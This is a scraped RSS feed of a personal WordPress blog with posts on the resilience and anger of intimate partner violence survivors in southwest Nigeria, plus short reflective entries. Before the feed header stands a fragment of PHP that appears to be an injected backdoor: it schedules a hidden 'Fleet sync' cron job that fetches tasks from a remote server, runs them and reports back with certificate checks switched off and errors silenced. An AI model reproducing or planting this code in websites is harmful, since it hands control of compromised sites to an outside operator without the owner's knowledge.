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update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); Uncategorized – Tobioloyede https://tobioloyede.com Delving into daily life issues to foster change Thu, 29 Dec 2022 10:05:55 +0000 en-US hourly 1 https://wordpress.org/?v=7.1 https://tobioloyede.com/wp-content/uploads/2022/12/cropped-Beige-Elegant-Personal-Business-Card-2-32x32.png Uncategorized – Tobioloyede https://tobioloyede.com 32 32 Victim or Survivor https://tobioloyede.com/victim-or-survivor/ https://tobioloyede.com/victim-or-survivor/#respond Mon, 11 Apr 2022 04:00:00 +0000 https://tobioloyedesblog.wordpress.com/?p=515 Before we dig in, are you a victim or survivor, or do you know anyone who might fall into one of the categories? I did a thing in 2020, I studied the resilience of some women in Southwest Nigeria who were survivors of Intimate Partner Violence/Domestic Violence. I say survivors because they moved from being victims to survivors and they preferred to be referred to as Survivors. Note, I am not suggesting that males do not experience abuse in the homes, workplaces, or in relationships, my focus at the time was on married women. One important question you might want to ask me is “why women or is it because you’re a woman? But you’re not even married.

To answer the question of Why?

Experiences and preconceptions shape us into the people we are now as I have found in my journey. Wendy Sharer states, “I can encourage new scholars to find topics via their lived experiences because those experiences help us to recognize what is significant, even if we are not able to articulate a rational, ‘neutral’ reason for that significance.” Growing up was not or does not only remain traumatic for me, but it also drives my interest in social research on family and relationships among others. My interest draws, not only from lived experiences, but also from general intellectual interests. I hope you understand my justification.

I know what most researchers might basically focus on is the effect the abuse has on individuals, but I took a step forward to investigate how they cope despite the stress they undergo in their relationships. It is noteworthy that the phenomenon of domestic violence goes beyond a private family issue to a critical social and psychological one.

At the time of the research, most of my participants had left the abusive marriages and had either moved on to another marriage, done better with their lives/careers, or remained single parents. Unfortunately, the dents that the abuse had on them remained for some even if it was not strong.  They spoke about their experiences, it was traumatizing for me as a listener/researcher and retraumatizing for them as they share their stories. There were times we had to stop the interview for some participants so they could cry, yes let it out by crying.

Why am I writing all these? I am writing because when I hear stories of such abuse, I am pained, I am touched, and I always wished I could do more. Our upbringing as individuals, our decisions as individuals, our training as parents, our pieces of advice as friends, our government, our culture, our leaders (Church, Mosque, anywhere), our social constructs on family matters, relationships, parenthood, and so on play a significant role in what we see in our society today. For some people, a few of these combinations affect them, while for others all of these affect them.

I have heard “I stayed, or I am staying because of my children,” my dear if you die, the children will still live, and you would not want them going through life trying to live without you. If you are worried about what society will say, no doubt they will talk, but it will be temporal.

My take on what the victim might do

  • Believe in yourself because the abuser always wants you to feel unworthy or small about yourself.
  • Seek voices of encouragement-speak up, seek help
  • Set a boundary line- it won’t be easy trust me (boundaries are not an easy thing for some of us). You just might need to cut the abuser off to live your life.

For those who are not victims

  • Listen-I say this emphatically, listen to them, take them seriously
  • Act with wisdom
  • Be honest-not criticize
  • In all, respect their boundaries

I say my take because it is my suggestion, my opinion.

Here’s a link to My Research on IPV to read my previous research. It’s a long read but you can use the table of content to go to chapters you find interesting.

“It is not the bruises on the body that hurt. It is the wounds of the heart and the scars on the mind.”

— Aisha Mirza
]]> https://tobioloyede.com/victim-or-survivor/feed/ 0 Little Things https://tobioloyede.com/little-things/ https://tobioloyede.com/little-things/#respond Thu, 22 Apr 2021 15:13:36 +0000 https://tobioloyedesblog.wordpress.com/2021/04/22/little-things/

What really makes your day beautiful? What exactly do you think about when you go to bed at night? Do you smile looking back at something you encountered during the day? It just might be something so small, and in there lies beauty.

Sometimes, it’s the little things that matter. Things ranging from your use of words, tone, hospitality, passing compliments, reactions to an irate situation, to just how you check up on others. Little things fill up the space in our hearts.
#littlethings #life #makeithappen #isaidwhatisaid #refreshwithtobi

]]> https://tobioloyede.com/little-things/feed/ 0 International Mother Language Day https://tobioloyede.com/international-mother-language-day-2/ https://tobioloyede.com/international-mother-language-day-2/#respond Sun, 21 Feb 2021 14:29:53 +0000 https://tobioloyedesblog.wordpress.com/2021/02/21/international-mother-language-day-2/ https://tobioloyede.com/international-mother-language-day-2/feed/ 0 Anger as a Response to Intimate Partner Violence in Nigeria {Part 2} https://tobioloyede.com/anger-as-a-response-to-intimate-partner-violence-in-nigeria-part-2/ https://tobioloyede.com/anger-as-a-response-to-intimate-partner-violence-in-nigeria-part-2/#respond Wed, 16 Dec 2020 19:50:38 +0000 https://tobioloyedesblog.wordpress.com/?p=271
Source: Tackling Violence against Women

This menace should be attended to because women, especially through their resiliency and hidden strength, can positively affect the growth and development of the nation and the world at large. They are homemakers, custodians of social, cultural, political, and inherent values of the society, and sustainable change is best achieved through them. Without the involvement of women, community development, cooperation and effective participation is impossible. With regards to these, women deserve better and favorable treatment, but the reverse is usually the case in Nigeria. Intimate partner violence affects the physical, social, and psychological wellbeing of the abused women and even that of their children. With regards to personal experiences while growing up in the Southwestern part of Nigeria, undoubtedly, this calls for intervention.

In the course of undertaking this research, I interviewed a couple of survivors as they preferred to be called survivors as opposed to victims. Most agreed that they were and are angry. Derrick Silove et al. “maintain that mental health professionals have documented the occurrence of explosive forms of anger amongst survivors of gross human rights violations, including those exposed to sexual abuse and intimate partner violence.” ) They further posit that exposure to gross human rights violations provokes feelings of extreme rage, particularly when victims are incapable of resisting. Frustrations in the post-conflict environment (lack of effective justice, socio-economic deprivations) may compound feelings of anger, with environmental triggers precipitating episodes of overt rage. The emotion of anger has no doubt received growing attention in the general field of mental health with extant studies focusing both on clinic and population samples. In the field of traumatic stress, a focus on anger has been somewhat overshadowed by the emphasis given to post-traumatic stress disorder (PTSD), particularly because that category incorporates symptoms of irritability and anger. There is evidence, however, that anger may be distinguished from other symptoms of PTSD in following a more protracted course.

Without doubt, trauma affects the wellbeing of an individual, irrespective of the type and level of the overwhelming incident. Women who have previously experienced some form of trauma such as physical or sexual abuse live with a mental illness. Intimate partner violence causes adverse effects on the psychological and emotional state of survivors such as anxiety, panic attacks, substance abuse, depression and post-traumatic stress disorder. Dominick LaCapra, a researcher in trauma studies, refers to trauma as “a disruptive experience that disarticulates the self and creates a hole in existence.”[1] Survivors become weakened and are propelled into a state of confusion, thereby causing them to feel disorganized.

Intimate partner violence targeted against women undoubtedly leads to gendered trauma that affects women’s economic, cultural, political, and social rights. The patriarchal and oppressive social structures of the Nigerian society result in gender trauma. Anastasia Gage and Nicholas Thomas affirm that “gender ideology that supports husband dominance and wife beating can undermine women’s structural gains and jeopardize their health and contributions to economic development.”[2] In Nigeria, women are beaten and physically abused by their spouses on a regular basis and these attacks leave them physically and mentally disfigured.

On gender trauma in African women, Sylvia Tamale notes that it is pertinent to move from occurrences of gendered trauma to equality as inequality hinders women’s growth in the society and as such, they are traumatized.[3] Researchers posit that there are different types of intimate partner violence, including physical abuse, emotional abuse, psychological abuse, and sexual abuse among others. Cathy Humphreys and Ravi Thiara admit that there is a relationship between the mental health of domestic violence survivors and their experience of traumatic events such that it becomes so crucial that they experience anxiety, depression, emotional distress, post-traumatic stress disorder (PTSD) among others.[4] Jacqueline Golding’s study presents the mean prevalence of mental health problems among abused women to be 47.6% in 18 studies of depression, 17.9% in 13 studies of suicidality, 63.8% in 11 studies of posttraumatic stress disorder (PTSD), 18.5% in 10 studies of alcohol abuse, and 8.9% in four studies of drug abuse.[5] Jacqueline Campbell admits that “women in developing countries also report mental-health problems from abuse, with 70% of cases of emotional distress in Nicaragua attributed to intimate partner violence, and depression and anxiety reported in battered women in Pakistan.”[6] Obviously, the adverse effects of intimate partner violence across cultures cannot be overemphasized.

Conclusion

Though this research is still in progress, it is important to note that if we truly seek an end to intimate partner violence, it is required of us to firmly understand the experiences of survivors and their needs for improvement. When we decide to look away from a social justice phenomenon such as this, we allow injustice to thrive. The anger to fight against violence remains a positive powerful energy for change. Again, I am angry yet unapologetic because I seek strength and liberation.

BIBLIOGRAPHY

Silove, Derrick & Brooks, Robert & Bateman-Steel, Catherine & Steel, Zachary & Hewage, Kalhari & Rodger, James & Soosay, Ian. (2009). Explosive anger as a response to human rights violations in post-conflict Timor-Leste. Social science & medicine (1982). 69. 670-7. 10.1016/j.socscimed.2009.06.030.

[1] Writing History, Writing Trauma (Baltimore: John Hopkins University Press, 2014): 41.

[2] “Women’s work, gender roles, and intimate partner violence in Nigeria” Archives of Sexual Behavior, 46, no. 7(2017): 1924. Doi: http://dx.doi.org/10.1007/s10508-017-1023-4

[3] Gender trauma in africa: Enhancing women’s links to resources.Journal of African Law, 48, no. 1, (2004): 50-61. Retrieved from https://login.iris.etsu.edu:3443/login?url=https://search.proquest.com/docview/218165222?accountid=10771

[4] “Mental Health and Domestic Violence: ‘I Call it Symptoms of Abuse’, The British Journal of Social Work, Volume 33, Issue 2, 1
(March 2003): 210, https://doi-org.iris.etsu.edu:3443/10.1093/bjsw/33.2.209

[5] “Intimate Partner Violence as a Risk Factor for Mental Disorders: A Meta-Analysis.” Journal of Family Violence 14, no. 2 (June 1999): 99. https://search.ebscohost.com/login.aspx?direct=true&AuthType=cookie,ip,url,uid,athens&db=ssf&AN=511115553&site=ehost-live

[6] “Health consequences of intimate partner violence.” The Lancet, 359 (2002), 1334. doi: http://dx.doi.org/10.1016/S0140-6736(02)08336-8

]]> https://tobioloyede.com/anger-as-a-response-to-intimate-partner-violence-in-nigeria-part-2/feed/ 0 A Universal Generosity Movement https://tobioloyede.com/a-universal-generosity-movement-2/ https://tobioloyede.com/a-universal-generosity-movement-2/#respond Tue, 01 Dec 2020 15:06:18 +0000 https://tobioloyedesblog.wordpress.com/?p=345 https://tobioloyede.com/a-universal-generosity-movement-2/feed/ 0 https://tobioloyede.com/191-2/ https://tobioloyede.com/191-2/#respond Wed, 22 Jan 2020 13:23:16 +0000 https://tobioloyedesblog.wordpress.com/2020/01/22/191/ ]]> https://tobioloyede.com/191-2/feed/ 0 https://tobioloyede.com/161-2/ https://tobioloyede.com/161-2/#respond Wed, 25 Dec 2019 01:39:22 +0000 https://tobioloyedesblog.wordpress.com/2019/12/25/161/
For having supported your girl this far…I cannot appreciate you less. Thank you and have a beautiful festive season. I look forward to having a wonderful 2020 with you. Enjoy
]]> https://tobioloyede.com/161-2/feed/ 0 31-year-old EKSU Alumnus, Babajide Ojo Emerges Best PhD Student of Oklahoma State University https://tobioloyede.com/31-year-old-eksu-alumnus-babajide-ojo-emerges-best-phd-student-of-oklahoma-state-university/ https://tobioloyede.com/31-year-old-eksu-alumnus-babajide-ojo-emerges-best-phd-student-of-oklahoma-state-university/#respond Tue, 17 Dec 2019 03:26:47 +0000 https://tobioloyedesblog.wordpress.com/2019/12/17/31-year-old-eksu-alumnus-babajide-ojo-emerges-best-phd-student-of-oklahoma-state-university/ https://tobioloyede.com/31-year-old-eksu-alumnus-babajide-ojo-emerges-best-phd-student-of-oklahoma-state-university/feed/ 0 Checking in on the Masculinity Crisis https://tobioloyede.com/checking-in-on-the-masculinity-crisis/ https://tobioloyede.com/checking-in-on-the-masculinity-crisis/#comments Tue, 03 Dec 2019 19:12:50 +0000 https://tobioloyedesblog.wordpress.com/2019/12/03/checking-in-on-the-masculinity-crisis/

Checking in on the Masculinity Crisis

Checking in on the Masculinity Crisis


— Read on longreads.com/2019/12/03/checking-in-on-the-masculinity-crisis/

]]> https://tobioloyede.com/checking-in-on-the-masculinity-crisis/feed/ 4 https://tobioloyede.com/117-3/ https://tobioloyede.com/117-3/#respond Mon, 02 Dec 2019 14:55:58 +0000 https://tobioloyedesblog.wordpress.com/?p=117 ]]> https://tobioloyede.com/117-3/feed/ 0